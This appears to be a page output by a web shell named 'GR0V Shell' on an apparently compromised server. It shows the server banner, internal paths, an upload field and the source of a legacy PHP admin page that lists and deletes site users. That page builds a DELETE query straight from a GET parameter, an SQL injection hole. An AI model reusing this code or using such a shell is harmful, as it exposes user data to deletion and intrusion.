? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/
File Upload :
Current File : /home/admin/domains/happytokorea.com/public_html_bk/gall/admin/user.php

<? include("header.php");?>
 <div id="top-panel">
            <div id="panel">
                <ul>
                   <li><a href="user.php" class="report">User</a></li>
                   <!-- <li><a href="u_atb.php" class="report_seo">User Attribute</a></li>
                    <li><a href="#" class="search">Search</a></li>
                    <li><a href="#" class="feed">RSS Feed</a></li>-->
                </ul>
            </div>
      </div> 

<div id="content">
<?
if(isset($_GET[del])){
	$db->query("delete from user where u_id = $_GET[del]");
	echo "<script>window.location.href='user.php';</script>";
}
?>
  
  <div id="box" >
                	<h3>Users</h3>
                	<table width="99%">
						<thead>
							<tr>
                            	<th width="40px"><a href="#">ID </a></th>
                            	<th><a href="#">Full Name</a></th>
                                <th><a href="#">Email</a></th>
   							 <th  ><a href="#">dealer</a></th>
                                <th width="90px"><a href="#">Registered</a></th>
                                <th width="60px"><a href="#">Action</a></th>
                            </tr>
						</thead>
						<tbody>
                         <? $sql = "select * from user   ";
   $res = $db->query($sql);
   while($line = mysql_fetch_array($res)){ 
   ?>
							<tr>
                            	<td class="a-center"><?=$line[u_id]?></td>
                            	<td><a href="#"><?=$line[firstname]?>&nbsp;<?=$line[lastname]?></a></td>
                                <td><?=$line[email_address]?></td>       
                                    <td align="center">
                                    <input name="dealer" disabled="disabled" type="checkbox" <? if($line[dealer]=="1"){ ?> value="1" checked="checked"  <? } ?>/>
								
                                    </td>                        
                                <td align="center"><? 
								$d = strtotime($line[u_date]);
								echo date("d M y",$d )
								;?></td>
                                <td align="center">
                           <!--<a href="#"><img src="img/icons/user.png" title="Show profile" width="16" height="16" /></a>-->
<a href="edituser.php?u_id=<?=$line[u_id]?>"><img src="img/icons/user_edit.png" title="Edit user" width="16" height="16" /></a>
<a href="user.php?del=<?=$line[u_id]?>" onclick="if(!confirm('ต้องการลบ ?')){return false;}"><img src="img/icons/user_delete.png" title="Delete user" width="16" height="16" /></a>
								</td>
                            </tr>
                            <? }?>
							
						</tbody>
					</table>
                    <!--<div id="pager">
                    	Page <a href="#"><img src="img/icons/arrow_left.gif" width="16" height="16" /></a> 
                    	<input size="1" value="1" type="text" name="page" id="page" /> 
                    	<a href="#"><img src="img/icons/arrow_right.gif" width="16" height="16" /></a>of 42
                    pages | View <select name="view">
                    				<option>10</option>
                                    <option>20</option>
                                    <option>50</option>
                                    <option>100</option>
                    			</select> 
                    per page | Total <strong>420</strong> records found
                    </div>-->
                </div>
    
    </div>
 

<? include("footer.php");?>

T1KUS90T
  root-grov@210.1.60.28:~$